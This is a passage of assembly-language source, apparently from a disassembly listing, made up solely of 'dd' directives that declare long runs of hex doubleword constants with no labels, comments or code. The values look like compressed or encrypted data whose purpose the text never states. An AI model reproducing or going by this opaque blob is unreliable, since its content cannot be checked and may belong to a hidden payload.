		dd 2AD41Fh, 0BFF11B3h, 845855BEh, 0A84CFA24h, 71C89701h
		dd 0A9479981h, 4FD07070h, 0A595FDA2h, 0D1465FDh, 67391656h
		dd 6AB465C5h, 3D5B8259h, 4C2FB482h, 0B0510FC3h,	0CB81DB3Bh
		dd 76CFBC73h, 88D3300Ch, 346917D8h, 0DFD64220h,	0B2F45953h
		dd 0C0F10AF2h, 419EE6C6h, 4D8ED9C5h, 8D77549Ch,	0B5EDBD6Ch
		dd 6552A28Dh, 0BD759DB8h, 9FBCEE19h, 500E6F74h,	85E78867h
		dd 0FE492B39h, 87BB907Dh, 0BDF4765Fh, 0CE6D85B7h, 9118BDADh
		dd 7B54A4FAh, 0F232A0B7h, 5B066967h, 551B46D4h,	6C3E7D4Ch
		dd 0CF9D62B9h, 43306BE9h, 3027EF96h, 3DB4693Ah,	48834778h
		dd 5A3212D2h, 93FA024Ah, 0DA017937h, 1BF62BBh, 5F547775h
		dd 0E4A0970Eh, 0AEC3AACAh, 962017F8h, 1B3477B8h, 6AAE99F3h
		dd 802AE93h, 73745463h,	8D948B19h, 6A12BB96h, 0C39FED8Bh
		dd 0A33E78EAh, 6D887E11h, 84EDB03Dh, 8581AEC7h,	0D89DCA1Dh
		dd 2DD7143h, 31F15C8Ah,	0A046DEA8h, 0C5A810BEh,	0AC10F34Eh
		dd 0A307230h, 699174F6h, 69BDBFA9h, 6DC06604h, 0FCA26488h
		dd 0F2FF5852h, 177E213Bh, 7DA88BFAh, 0F1341029h, 0FCD99368h
		dd 0C35168B1h, 329A41E4h, 0CDA0452h, 0E8FD8D42h, 796CBFD6h
		dd 0EC69981Ah, 6FE282EBh, 3AFD15Bh, 159DCFh, 0D7F25AAFh
		dd 8A01524Fh, 0D5990125h, 7CDD9946h, 9B0AE7F1h,	75DA14B6h
		dd 0A68766FBh, 0FFF5A393h, 0BFF1597Fh, 0BC2387B1h, 0EC64E372h
		dd 7718C248h, 0C490A482h, 7187D286h, 0E2AAB2FEh, 8A5E9D73h
		dd 5292FA34h, 0F3F70DB2h, 0C3F830DDh, 0CBB08807h, 0ADDD4109h
		dd 438ECDD5h, 4172C77Bh, 0B98CB4DEh, 6D90EA3Dh,	46264A87h
		dd 60648790h, 7B79852Dh, 6B9F9A38h, 0A66D3140h,	560027E6h
		dd 0A2F53559h, 1C15E8FEh, 0FCD3902Ah, 0F1D3C500h, 6A77A300h
		dd 571176BAh, 0F9C3485Eh, 62D3629Dh, 8BECF1A9h,	0B6F1B26Fh
		dd 0DC675C8Ch, 0A984C085h, 0F006DC65h, 0CD4CD631h, 0DBF5A34Bh
		dd 0E9F5FEE8h, 876B3810h, 9DCC7397h, 92284ED7h,	0E4AC554h
		dd 8A84BD6Ch, 96668A09h
		dd 3FF8FA79h, 2C4C0291h, 2BFFF076h, 29156593h, 942708D0h
		dd 0D4AE9190h, 4C88A422h, 0B9D2D896h, 1E755C03h, 90D3562Fh
		dd 0BDF8F6FBh, 0AAA6E9Ch, 52F0E317h, 55C15410h,	6E68BAACh
		dd 0E6C824E5h, 0BD4A81CAh, 3B5F01Bh, 71788E1Bh,	5229A878h
		dd 6F6313E8h, 0F79D9A9Dh, 6CCF5CCDh, 28F13A7Eh,	0D4A6D142h
		dd 3072C6h, 0E6EE81B3h,	7455DA05h, 48D60091h, 8FF520ACh
		dd 0D3E061Fh, 0EB098D1Ch, 0A3CB5C38h, 0DC7306B8h, 4EEFD233h
		dd 303AD11Eh, 0B2F4437Bh, 0EE83856Ch, 1BA84AF7h, 6CD54B7Bh
		dd 8B1D5015h, 0B6022A19h, 0D75824F9h, 395076F0h, 5980C86Bh
		dd 0D7A513ECh, 4404008Ah, 70EEEB29h, 0DAECC89Bh, 0EE65145Bh
		dd 5BF64967h, 86CC70F0h, 0D6B9D8F6h, 0BEF36CA0h, 0DC89BD5h
		dd 3EB07D6Ah, 12EA0h, 1988EF5Ch, 1B8BE6E6h, 28A08302h
		dd 0A8A488ECh, 0F70E4473h, 4ACE2B13h, 0DC6DDFFDh, 3CE1B24Ch
		dd 609E29E5h, 32833E57h, 0BD71858Eh, 38E6C445h,	0A097E0C8h
		dd 6FF503C5h, 870649D4h, 0E019939Ah, 0D28F968Bh, 731D51D3h
		dd 415E6376h, 91683F29h, 3C8EA6F7h, 732A1414h, 0AA851293h
		dd 30E18F53h, 0D2C25270h, 0F1CB3BADh, 0ED3EE485h, 74869717h
		dd 0C257427Eh, 435B9EE2h, 5B91FB42h, 7008FEEBh,	0F67463EBh
		dd 0FD47D20Ch, 29F73F0Ah, 53122060h, 5E004E93h,	98CA08CFh
		dd 5D140BBEh, 0E40CE70Eh, 0D623ED8Dh, 161F6380h, 0AC689AC5h
		dd 0C15D0B27h, 418E6EABh, 6E7F4F6Fh, 0A8345548h, 0DC668EDCh
		dd 4847399Ch, 17926019h, 0C0A1907Bh, 8411F81Bh,	81B9C2A8h
		dd 0C58A467Ch, 0DC499EABh, 62339F9h, 0AAB3AF82h, 9936A7h
		dd 0A97C4082h, 46CA9A7h, 86786F4Ah, 6708DD39h, 554BD2F7h
		dd 6ECB6AC9h, 0B5EE11B5h, 0E134A829h, 3E40F234h, 61D819AEh
		dd 0E235ECEDh, 0B4BB171h, 8FB42247h, 8FA193Eh, 0ADBBE389h
		dd 8FE676E0h, 6AF32EDFh, 0A74CF948h, 84839A6Fh,	2CD93BCh
		dd 88F2E308h, 0A49E0870h, 1B8BE3E2h, 0A14B7BE9h, 19DD84E3h
		dd 883A1666h, 0B9C09E17h, 121F40CFh, 9D3E672Fh,	32B601C4h
		dd 719D5B21h, 670EE367h, 9006E519h, 4435BE9h, 0D36CE319h
		dd 0FE349522h, 4B13B1C0h, 0E66010E2h, 6F448949h, 1D178557h
		dd 76E7765Fh, 1267D1B8h, 335FAFC6h, 0DFB3E7A5h,	4921AF93h
		dd 1E4372E2h, 46C77F84h, 0D0C16130h, 39D9E307h,	52132AC6h
		dd 0D9B7477Bh, 53893CA1h, 5B2ECC0Fh, 1487A43Dh,	781A298h
		dd 42BA1B24h, 8D2068B3h, 1E8A5CB8h, 0D99F94BEh,	1BE13CB2h
		dd 2BF7FB93h, 0D3B7F883h, 71A051DDh, 82DEF8AAh,	89863C7Ch
		dd 86CA47A3h, 0B5E15E27h, 0A3B678B3h, 11C9CD56h, 0CEAAEFCBh
		dd 0CA45486Bh, 31D5830Bh, 0B5F39D76h, 0EB772479h, 0E363AC4h
		dd 0DE5CD5DAh, 0AAA412FDh, 7FCA9EE9h, 0CAF4A379h, 0EE0E8A5Fh
		dd 216BABBCh, 6A8114EFh, 80AAE597h, 665BD27Ch, 61C9B61h
		dd 0DD88C61Ah, 4D08A908h, 74A3D366h, 0F67F3C7Eh, 2923649h
		dd 567D31EAh, 57546705h, 9EA89EAh, 3F4A03D1h, 0ACBC5098h
		dd 4A29B1A3h, 9A14D1D9h, 185808B5h, 77A4ABE8h, 9D8354ABh
		dd 0BAF633BAh, 0FB50E86Fh, 0E27C6FAh, 0FC40A630h, 7DDE9EE0h
		dd 7AEE7756h, 0CABC28C0h, 0F8E6C8E4h, 0AAF0671h, 491A05C5h
		dd 722FABCCh, 223285D3h, 988519Eh, 2F9BA70Ch, 8C1F2A78h
		dd 0A0FCD1FBh, 0CB988675h, 7DA625C5h, 8BA5DCF6h, 0FDA782E2h
		dd 857C19A1h, 0B50527DCh, 0C22F9DCh, 0E8B07FC5h, 0C8C04E8Ch
		dd 64C7914Ah, 9A72E4F6h, 0CD1379A2h, 7712FC4Ah,	0F70EBBE3h
		dd 827E0C5Bh, 57518E9Ah, 0AC0AE3D4h, 1C81E15h, 1879AC09h
		dd 0DA318DC1h, 0A989C13Ch, 31642F34h, 0C36A7B45h, 8C87EF1Ch
		dd 380A6151h, 199A86A7h, 0CEDE2635h, 74B1DCE5h,	0CCC1535Bh
		dd 316300B2h, 4413FC3Bh, 9A602C5Ah, 59388010h, 66FB1FEEh
		dd 0E672017h, 8D2B20EAh, 0A7C0F7Eh, 0BF1B7AD1h,	0BE12C1DAh
		dd 61C3F406h, 0DFE5D3F5h, 9F236352h, 0CD9917C7h, 36E47B7Ch
		dd 426AE0CDh, 862AB2D6h, 0DAB9828Ch, 0F71E2536h, 33166DFFh
		dd 8408CB2h, 90B45F26h,	91D41C21h, 0AFF4B424h, 5A8AE40Eh
		dd 9A522E52h, 0E5D07320h, 2083BB65h, 3A439843h,	0C2338FDCh
		dd 373F1A9Fh, 5EEA364Ch, 5C082986h, 0D52A15EBh,	0ED0967F7h
		dd 2C686BFCh, 0E449387Eh, 0DA941F72h, 70FAD738h, 45DD6B14h
		dd 0D61F9F60h, 5A40B570h, 9184AD5Ah, 65CB1E5Ah,	5C0BC987h
		dd 4536616Ch, 5DB5A540h, 351397DBh, 0BF314950h,	3DB70299h
		dd 7D9D6E90h, 4A886BB8h, 52A49131h, 0C1D0A00Ah,	596E6622h
		dd 305F8748h, 0B860C41Bh, 0ECDB5F8Ah, 0ED75EFD6h, 0D736CBB6h
		dd 0B40A2AFFh, 5577394Dh, 2B7E6764h, 0A604396h,	0BC340A3Bh
		dd 0DE9E420Ch, 0B9E6033Bh, 235FDFE5h, 0A1D1C68Dh, 6DB201A5h
		dd 0B551BAFFh, 4A87334h, 63F51520h, 3AC31B4Ah, 0F5BFA3ADh
		dd 96EEEB91h, 0F5EDE77Ch, 48D94EEh, 80427296h, 2C9B96B4h
		dd 2A8F96EAh, 0A6881FC6h, 87037089h, 0DF8A0BFAh, 32FED2FBh
		dd 0CA77BB80h, 2B8DDAC5h, 0EAAB1EAFh, 2AE592D5h, 0A0290EE2h
		dd 0CD4C4C7Eh, 10192587h, 0CE3AD836h, 47D04AA4h, 0EEC7BC74h
		dd 8FF3B4E1h, 0CD77FBD6h, 6AC2A9A6h, 0C3610855h, 477DB914h
		dd 5406C5D8h, 8BA8CABh,	0F8F7C727h, 8A5C9365h, 0AAD0123Bh
		dd 8AB1E38Ch, 5A2D129Ch, 94D12074h, 0C7B8185Ah,	460274AFh
		dd 3B3B2036h, 147150CBh, 0D2098273h, 0B859FCF3h, 6B9C6FB6h
		dd 67790D20h, 99C8E069h, 0C1EEFF15h, 8448810Ah,	7ECF88DDh
		dd 0D507EB96h, 1FD4BCB7h, 61F27D0h, 0F6C2E046h,	2A748201h
		dd 0B67893C0h, 2900195Fh, 0E18EBDA5h, 0F0BDCC18h, 9D7997CCh
		dd 0AA85DE33h, 8C2F3598h, 69AD4F19h, 95E0D58Fh,	0D42FEC62h
		dd 0ACA5B910h, 5ACCCDC8h, 0C539B518h, 1C1DFD3Ch, 43BE40B6h
		dd 3E8F0E45h, 508DDC91h, 7ECDA5D6h, 0E7A6E21Bh,	6E83D40Fh
		dd 0AD620136h, 6BC85E4Eh, 234CD195h, 7972F320h,	445299CCh
		dd 0C04C1C67h, 2CE71D57h, 2D821AB4h, 1B4F3664h,	35B09127h
		dd 8F3B8B7Ah, 0A46CDE27h, 6948EF5Dh, 0E786C1A3h, 0D2EAF692h
		dd 64B49556h, 0CC7B14D9h, 251A131Fh, 0D4A2974h,	2A5AF00Ah
		dd 7951CF9Dh, 0EB1D5506h, 0BC44290Dh, 2807C9B8h, 16596850h
		dd 5AB277C4h, 0B8FCD282h, 0EA36C3E5h, 22D93BF2h, 0BD6B7AF6h
		dd 0BEE5CBAh, 8C850BCFh, 0A62485AEh, 5D4CF59Eh,	0ED1A24A9h
		dd 9FDE480Bh, 0FE42398Ah, 0F7E94E9Ah, 58CB927Ah, 1228EF8Ch
		dd 99DAA8FAh, 6653667Eh, 0CBECF4F0h, 0A9D59183h, 6FC5FF7Ch
		dd 0EB4B127Fh, 0BD276EA3h, 55920521h, 0D4195DB5h, 0CAC36865h
		dd 245323A7h, 80EE74A7h, 0B43E3D6Ah, 5C947D06h,	0A49FBDD1h
		dd 9C227FA7h, 52557789h, 8DF07A6Dh, 9616AB46h, 37006071h
		dd 216D644h, 0A394950Dh, 0C0E6B09Eh, 0FF29AA09h, 0BEFD0A82h
		dd 0C0664E17h, 0BE211242h, 0F6D8203Dh, 11EFCEB4h, 0D64E587Eh
		dd 662CEF8Bh, 9708BCB6h, 0B6C30394h, 423CE6CBh,	47C0C866h
		dd 0A7490D13h, 74F4E0FFh, 0CE92C976h, 1B2A50F0h, 0E73A8F43h
		dd 0A54700A1h, 7BB65365h, 23252F8Dh, 29600F81h,	68F26283h
		dd 7DCBC031h, 332E957Ah, 0F27A15C9h, 0CA99B2E5h, 836E656h
		dd 92C7C659h, 7E4E7E04h, 0A7F6F36h, 0A8ECEEBh, 66B9986Fh
		dd 0DFC4443Ah, 4B25F10Eh, 0CCD719Eh, 425D49F8h,	3F0E77A6h
		dd 271440F9h, 0F1947F55h, 6635868Dh, 0A218B76Eh, 89D2CE9Ch
		dd 0C6E49390h, 80AE4733h
		dd 5E51D9h, 0BCDBEE2Fh,	5A2AF07Eh, 0DB4412F9h, 0F0BDF497h
		dd 87DE8914h, 79C3D3BAh, 33FF4C15h, 0E3D78178h,	0FDD44B9Ah
		dd 3B591237h, 4E59CF6h,	7E656915h, 71B1CC17h, 3F36529h
		dd 0D4C822BEh, 0AA75780Ch, 0BAB6B0B5h, 747F0110h, 92C41644h
		dd 86CFD295h, 38BF1A8Bh, 0C8F5FE97h, 0C95A643Dh, 847E5194h
		dd 0CB9556E3h, 0C6FC35E8h, 0A607D27Fh, 0F7F8A39Bh, 8AA3993Ah
		dd 0C262142Dh, 9FBB07B9h, 6AAE05F3h, 0A4CD94E0h, 9FD8F0F4h
		dd 0C3CF1FFFh, 8905C9D2h, 6572BF5Dh, 0F24AB80Fh, 0CA2B2382h
		dd 8E541A9Ah, 0DAFC2DA6h, 0C423D5B5h, 92DAB3F2h, 0F710E8A3h
		dd 0BC1B82B3h, 59C3B0BAh, 824F8BF9h, 2EBD72B8h,	0D741A81Fh
		dd 0AE37C295h, 6322D2A0h, 8EA41C5Dh, 0FC27F5D5h, 88627ECBh
		dd 0D5CE0121h, 4B3ABF02h, 6E18131Dh, 18E79FD7h,	7B9D3FCAh
		dd 4F71D0C8h, 4B7DCF6Fh, 0B86AA200h, 0B07DF224h, 0D10007AAh
		dd 277C0CB3h, 2FCEF57Ah, 0C3AB924Dh, 35B019DCh,	10C16686h
		dd 272BF365h, 0BB5C83A3h, 9E3F1D88h, 0A89FDC11h, 0C97D39A8h
		dd 71E2BD4Ch, 7D40677Bh, 8AFE9923h, 0C8E78ED8h,	0A79666A8h
		dd 50FF610Fh, 95FB75A1h, 0E5792841h, 0A66CFF38h, 9102D6B4h
		dd 70D6C0CCh, 0F288BD48h, 0B124D106h, 4CE3D19Bh, 0B690F835h
		dd 66B6E0B6h, 15DE71B6h, 0A81B0CDAh, 9D8A31B0h,	0F7636752h
		dd 98B6E312h, 0B7383D71h, 0B04A4E86h, 64EB266Dh, 578EC4B2h
		dd 29AACE48h, 0F9851FE0h, 0CDA75229h, 674A7A10h, 0C489B0BCh
		dd 0DB00FB6Ah, 18324075h, 21FB6F1Ch, 0D8CEC6E3h, 0C950DA41h
		dd 1DDA0E0Eh, 113A3DCAh, 0C70E27BCh, 0C195FB62h, 0A0797249h
		dd 37564056h, 0EB115FA3h, 0CCD6ED67h, 927490A0h, 0BF178FFAh
		dd 8B0937FEh, 89ECBE02h, 0FBDB2ACFh, 4CFBC7B1h,	52A3F703h
		dd 4BF5FF95h, 857A16ECh, 0F1677F66h, 76EAFB53h,	59F27CE9h
		dd 651BF2DCh, 7C41DB20h, 7361D528h, 60AAD887h, 920F8B63h
		dd 16D666D9h, 26036DE8h, 0EE2F4488h, 0CC54F905h, 0CEEAF9E7h
		dd 27B0D4Ah, 3CB5E50h, 0C3D23E18h, 498B4E6Fh, 4A7F2319h
		dd 61F2E17Ah, 0EC9522E2h, 0D31CD545h, 0A2DD13B8h, 6DC421C3h
		dd 2C285E46h, 893FDAFCh, 0CDF33A50h, 7CD2ED3Ch,	0D90AEBEFh
		dd 53C0967h, 0B83049C5h, 9F1B4724h, 0CF64C368h,	0FEE12D57h
		dd 0DE0721Fh, 4D15330Fh, 78304A33h, 5907B327h, 4AFA2588h
		dd 0D40EF887h, 7C5833CFh, 408A970Bh, 0A7AE2AECh, 9EBA64D6h
		dd 0B36D87B0h, 1C20135h, 0BCA2A6ADh, 0A717A50Bh, 0E55F8358h
		dd 8206CB65h, 0C056A52Dh, 5E870ADh, 581F8587h, 2E5392DCh
		dd 0E4241EC0h, 0A11D63A2h, 0B79C9B18h, 0FC3165C1h, 0A4071C43h
		dd 0C864DBBCh, 17C4064Dh, 0E88D8467h, 0B33DBA01h, 47B4413h
		dd 4248A0D0h, 5511FD17h, 0E40F1E2Ch, 0ADAB1B49h, 3CBF72E1h
		dd 4D505BF0h, 521432A0h, 55156FEDh, 154FF38Eh, 14143D47h
		dd 99422296h, 0A0BE5067h, 0D0FF8AE1h, 0FDB3BA26h, 7312BB22h
		dd 0FE4FA0B6h, 82D98A58h, 0DF92982Fh, 56BB0C71h, 0D7E1D37Fh
		dd 0B0F0D295h, 30AD9287h, 6589FAF9h, 509BF923h,	0BB6D0F0h
		dd 0E07F6A98h, 7715F5A4h, 1FE2D3FAh, 0CDBA256Ch, 2501BED8h
		dd 0FB54864Bh, 53E316F4h, 15938E9Ah, 8012669Ah,	0E3B09B94h
		dd 694051C1h, 0C87AD1Eh, 92E20D0Dh, 929CC5C9h, 0FB5C8BE6h
		dd 0DE408725h, 0BA3CB8F5h, 0B8ABD101h, 30BA8267h, 0B8F6EB3Eh
		dd 612ADCCh, 279A94B5h,	7ADD8219h, 74280A5Dh, 506A06CAh
		dd 0D50AB942h, 823CC6E9h, 9ECB5731h, 0B11DBB30h, 4A97C0B0h
		dd 30627F4Bh, 66E8BC6Eh, 90C9FEA5h, 68BB3389h, 87120F2h
		dd 6FFFE546h, 15C66AE0h, 0EE557186h, 0BE1BFBCAh, 6ADAED83h
		dd 3A92CD5Ch, 7F3EED0Ah, 13074E58h, 281053C5h, 0E35E07DFh
		dd 88F6E2CFh, 0EE18C758h, 9AA4A61h, 0F4CC9B34h,	68662686h
		dd 4E3986BFh, 57F04B9h,	989545CDh, 5CF3FA20h, 5D4DABB4h
		dd 0C79F0ABDh, 0CE041546h, 8D811DC5h, 10A99B40h, 6AC3023Fh
		dd 68E408E3h, 0F9647BC8h, 32A2A889h, 8AFE45E5h,	83D49600h
		dd 0D5F83140h, 9C431D26h, 5A589EE9h, 5A8E4D89h,	0F128A9E3h
		dd 411BA510h, 62B24392h, 1830446Ch, 6B69FF4Fh, 1FD0A964h
		dd 0AC71BB5Ch, 7051507Ch, 979752A2h, 0FF694h, 4D8A6CF7h
		dd 4910F80Ch, 84F45150h, 2B9E40D3h, 1C5F27DBh, 7FC41823h
		dd 6C0DC98Eh, 48C98A80h, 0E9DD35A9h, 0D4FC53A9h, 0F5F01210h
		dd 1B374478h, 0DAD0D1h,	912812BBh, 1160AE03h, 6B6CFB17h
		dd 0E6CFB8F1h, 12CED48Ch, 73A69A5Bh, 8E65845h, 122C09ACh
		dd 20152C8h, 7F6FBCDDh,	10F9C327h, 16C9EAA2h, 0F5F995B0h
		dd 95D27EF3h, 45D09EADh, 0D28E842Ch, 0ED2E72Ah,	3F1CC737h
		dd 79264D9h, 0DCECB87h,	0DCAC6515h, 0E5A9218Dh,	2F2726A8h
		dd 0A3BB6110h, 62937A90h, 0C08E4F1h, 0FFE4C995h, 8C2EA48Bh
		dd 3C9F68CAh, 0D1BDE1A5h, 0A4B3A09Ah, 565CB8BBh, 0F71834BAh
		dd 7410DDC6h, 7C2B4E3Bh, 0BFED378h, 0C4CF6EE3h,	7F054D18h
		dd 9C57735Ch, 0AA510530h, 866A72F7h, 29D24DFEh,	4CEF571Dh
		dd 6D7DD840h, 0EF9FDAD1h, 29F81FCBh, 3C221AB7h,	2518DB61h
		dd 0F497BFC9h, 98E6FBC5h, 8C45AF26h, 3F7E1C8Dh,	0C1E55A89h
		dd 8AD13752h, 5EF1D7DAh, 3348A889h, 0F8F185ECh,	0F6F51B9Bh
		dd 12CE3C59h, 74519B99h, 712B0DDCh, 346325B7h, 3215282Fh
		dd 0BAC4AB2Ah, 0B558671Ah, 622B66DFh, 0EB450DDDh, 958929A5h
		dd 0DB14253Ah, 0B296B5B0h, 0A93CC90Bh, 0DE76F243h, 26BAD3EBh
		dd 2A68D747h, 9E091806h, 0F241DB75h, 0F487B69Ah, 5E61F312h
		dd 4AC4737h, 0B0BF6F33h, 0F0AD1DD8h, 35C5FC77h,	4326BE3Eh
		dd 49B96145h, 86827DBFh, 2507EC0Dh, 12D42E45h, 0FBD842ACh
		dd 1F1A438Dh, 85AEB608h, 0CA4CB9E9h, 0FD6EA45Ah, 9BE6D784h
		dd 52B4A7ABh, 1C20FDA7h, 0F86B795Fh, 0A7F57445h, 7415CB30h
		dd 0BAEAF44Eh, 0EDD3C1B5h, 41F7761Ah, 552C10CFh, 6A10F441h
		dd 53FED30Ah, 3B32E6CFh, 0BBD69AE1h, 1D3ABE64h,	4E236F47h
		dd 83E5D641h, 0AA4F5765h, 9DB5ADC2h, 7B073CF7h,	8CF5DD7h
		dd 0DBA3B3E3h, 6B42D158h, 2EC12D78h, 30DA730Ah,	0BF078F4Eh
		dd 0F0614034h, 0B1B722D8h, 9D16AFA6h, 0D0245CF0h, 0AA4FF2Dh
		dd 536383E6h, 0FBA7FF9Bh, 6079950h, 67CA018Fh, 0B1DF9759h
		dd 0FB9F3F5h, 498E7DE0h, 999056C8h, 6479938Fh, 0C13109FFh
		dd 14E5142h, 8580D1F7h,	0CE2993D6h, 6AB423B4h, 9FC8571h
		dd 0C5191735h, 2DA2FF64h, 2383F8F0h, 0CF70EE5h,	7E054D06h
		dd 290BACD0h, 6F2233B4h, 0FE160C32h, 4038EC0Dh,	0ECB1B004h
		dd 33769A52h, 0F3241533h, 9198B256h, 0DEC9D4A8h, 0A7DE0FFBh
		dd 65A3863Eh, 9DD924Dh,	1862E55Dh, 2EC53FB2h, 0C5D19F0Fh
		dd 474A1876h, 8511021h,	0D820E203h, 0A488FBC8h,	0A77CD145h
		dd 4AE122ADh, 38FDBFE0h, 9CD63BBDh, 0B81911FBh,	7DEF9F32h
		dd 62989307h, 9947087h,	0A6BD6C12h, 0D76BC1ACh,	0CEF4D6C5h
		dd 0D004534Eh, 1B1CCA18h, 642203B1h, 39B145C2h,	5A732329h
		dd 6A72BD45h, 2366A976h, 0CCFEE844h, 3068AB33h,	7BB0E6C8h
		dd 42222253h, 77795A96h, 9798AA97h, 3B6021E7h, 5AA8B58Dh
		dd 0E3062C7Bh, 498D4402h, 322E9129h, 4C14731h, 227ACCD7h
		dd 0CDB099D3h, 58C631EEh, 0CEF4FA92h, 0EEA29EDDh, 0ECC3777Bh
		dd 0EFD14A27h, 5813CA18h, 0A9B28741h, 0BBB9A98Fh, 5B372530h
		dd 499FCDAEh, 802084D5h
		dd 0B6B5DC03h, 0E39B79F4h, 407C0F5Bh, 3A4BEACCh, 0AD89CC5Eh
		dd 0ADEB3258h, 0E470A8C1h, 8584C318h, 7AE1EDCEh, 0A29D4F97h
		dd 6A480C6Dh, 0FE438438h, 5162FF96h, 9B89EEDDh,	0A897E0F1h
		dd 63F00ACh, 0D81A783Ah, 124AD7CEh, 55966798h, 472CA3D4h
		dd 7C249F39h, 8C40B106h, 0EB1BF583h, 0DDD44B25h, 0D072A55Fh
		dd 0E294275Eh, 0E590BD5Dh, 0CDE547B1h, 3B582D8h, 0F4A57092h
		dd 0EAE7B61Fh, 24F69736h, 63BD4957h, 0EC0F9C4h,	8C1402B7h
		dd 9FA47568h, 35E965Fh,	0B51F6CABh, 9D6835C2h, 2CE14457h
		dd 0ED0027AEh, 182CF3E7h, 88116C61h, 17441583h,	1AF5D0B1h
		dd 4428552Ch, 0E92A6E4Fh, 9CF07D3Dh, 39D8C3BBh,	6830633Fh
		dd 6D7D85E7h, 0F321C7ADh, 6A2170CBh, 6DB33134h,	0C3F697E3h
		dd 25136350h, 0A6814CBh, 5D3C8405h, 0D139D18Ch,	3DBA5AE3h
		dd 5A1F8B1Eh, 0E49AB1CFh, 0C8631EFEh, 63D8175Fh, 86C4CBB4h
		dd 0AF8253A3h, 60202E8Dh, 3D7A1A69h, 8CC38EDh, 0D18B8B44h
		dd 0A4F3D686h, 87C02CCEh, 649D97A3h, 0FCB80DFFh, 0C2E3906Bh
		dd 7BBE467Dh, 0B6CD2957h, 69EBBA7Ch, 434C5126h,	0FA86CD74h
		dd 4D96613Ah, 114E233Ch, 0F6D60F82h, 0FE908A99h, 0B9CC836h
		dd 6F0EAC19h, 0F8FE1CE3h, 4905AD03h, 93EA37F3h,	8ABB1625h
		dd 0F085F1ADh, 0A578788Eh, 9572EBF4h, 26390987h, 0D6471BB5h
		dd 2657279Ch, 2C37E7DEh, 81986CE6h, 0E8A56446h,	0F43B1B42h
		dd 3EF8C80Dh, 7EC9BDA7h, 0C1077C27h, 0D2F1270h,	10EAD7DAh
		dd 4B256AFDh, 0EAEEBDC7h, 96CB1CADh, 5B8B241Ch,	4A5F7685h
		dd 0BA5613CDh, 94911ED9h, 0D439F4AFh, 32F746E9h, 144E775Eh
		dd 2B1ECDF3h, 0E70160F4h, 27EE9A75h, 0CF507544h, 2AFA3086h
		dd 0C7A0341Ch, 1F800762h, 79E17E78h, 6C917C6Dh,	70A3C672h
		dd 7E2EB310h, 0BC2C9D35h, 0E6A63821h, 9B21EC2Ch, 4F55DBB4h
		dd 0E54684B8h, 0E75E8360h, 0F34EAEF6h, 5A3DD02Fh, 1E6A8506h
		dd 52273F62h, 0AC7DF949h, 31AE3EE7h, 0ADFE93Bh,	82EEF4Eh
		dd 0F85F9FD5h, 5AA71A9Ch, 0CC677545h, 9E85A80Eh, 0C937F577h
		dd 63468E37h, 0B13A76F6h, 6239FEB8h, 1107D249h,	0C26FE0A5h
		dd 9F704120h, 9E7CDDE2h, 0AE5611A3h, 0F17ADB27h, 0F1F6DCB1h
		dd 473EA9BCh, 42F12740h, 2C4CC362h, 21CFDE5Bh, 562AD7D5h
		dd 0AE94F930h, 73C789BDh, 28CBDE44h, 2439A94Bh,	0AA9DBBE9h
		dd 90A5E8h, 4EE56799h, 6FEC64h,	188F0965h, 5A63573h, 8E404E6Bh
		dd 0F1E71BF6h, 3CC1A730h, 223532CEh, 0B91F1299h, 0BC0A7F72h
		dd 0F0BAB786h, 0F6592B10h, 74D6E992h, 413CABA1h, 211032FDh
		dd 78C97BBh, 11E74F6Dh,	2FCD02EEh, 0E1DDB4D2h, 0CF82D2D8h
		dd 9FEE510Eh, 9C3D4EBEh, 0DE11FED2h, 407318A8h,	0F22373D9h
		dd 272D3E06h, 0B6770AE1h, 0B4E01A52h, 0BD728DECh, 0FBAFBF2Eh
		dd 649CFE24h, 84B123AFh, 8C51F6F9h, 0E9D26698h,	0B1D5E656h
		dd 0DFBAFFE5h, 0D49193FBh, 766770F8h, 210EA203h, 0F4D9F834h
		dd 957AA8F5h, 16A0FE6Eh, 2ACB0229h, 2C159295h, 76406F6Ch
		dd 0D0A0B663h, 513979A4h, 16C491A3h, 0EDD18DB6h, 0FC7E2D9Dh
		dd 0EB424913h, 122B2851h, 762DD0B0h, 0E5691040h, 0B410C526h
		dd 0E3AAE59Bh, 3405D2A3h, 0EE677D37h, 0B4327D48h, 862D9ED6h
		dd 47CAB5D6h, 3120DA23h, 0A7017C9Fh, 364AE4A8h,	29A9AFE2h
		dd 74CD7430h, 0DDA99Fh,	0DEC9D7C3h, 8C1101CEh, 0E5C844DEh
		dd 3E755DF7h, 0D59C99BBh, 626F97E2h, 0F2516A2Ah, 0A32C03EEh
		dd 0FEC955EAh, 0DD99227Fh, 1A19D8E1h, 0CB9E1FB0h, 94E75E07h
		dd 80655AE0h, 0DAA8394Eh, 0F7D9D368h, 0CC0D9A3Fh, 336E7DEAh
		dd 70E22220h, 0F2D315E0h, 6D27B304h, 541DD4C6h,	663C0596h
		dd 87EC605h, 0B100ACC5h, 0E5B7EBCFh, 27777F2Fh,	0ACD1C77Fh
		dd 0F5669DCFh, 0CABC262Eh, 0AA08038Fh, 312B6009h, 3BFA4318h
		dd 0EE732B6h, 0C7EB1191h, 6FF3EE3Ah, 30A13EE8h,	0E2694E51h
		dd 0A0A1DEE8h, 0C912F48Dh, 5DE81209h, 727C4CF3h, 6F796567h
		dd 3C2CEEAFh, 0BBE1CAECh, 4C478A0Fh, 0BB456118h, 0A18A60CEh
		dd 88369960h, 0D96233AEh, 799DE7D0h, 0B846F121h, 2AD2CC58h
		dd 0E03BFFC3h, 8894A5D0h, 7B2D6B2Fh, 4A0B3B35h,	1C303FB8h
		dd 0DF3BC1B6h, 2700D7E9h, 46FC2A2h, 47A22399h, 0D0421E62h
		dd 280E0B3Bh, 2F81144h,	40E83741h, 28B90FAh, 0F4881AD3h
		dd 0E7BFC1D8h, 0E2F10ED9h, 0AD139D20h, 5C2D0625h, 95F20297h
		dd 3C60C466h, 2F57D13h,	381E57E8h, 0F3F972BDh, 8A521D1Ch
		dd 0A10DD30Bh, 0C667D89Ch, 228E2FD0h, 99683504h, 0EC8CA42Dh
		dd 77643826h, 62569D0Ch, 3B2341DEh, 0F5241974h,	4C08FEF9h
		dd 4F12A69Ch, 8334138Dh, 3E0D3532h, 51A41E75h, 6623512Ah
		dd 332199F4h, 6B8169CBh, 0FC97CA57h, 6E4DD547h,	413327A5h
		dd 0EED3FD4Ch, 65C7AEF8h, 591BAC48h, 85930965h,	0A2819EA3h
		dd 8DBCF9C2h, 0FCC650Bh, 459AC019h, 86960BFEh, 77FE8F8Bh
		dd 838A5263h, 5876B1FAh, 0A6AD6464h, 49CAC33Ah,	6934B68Ah
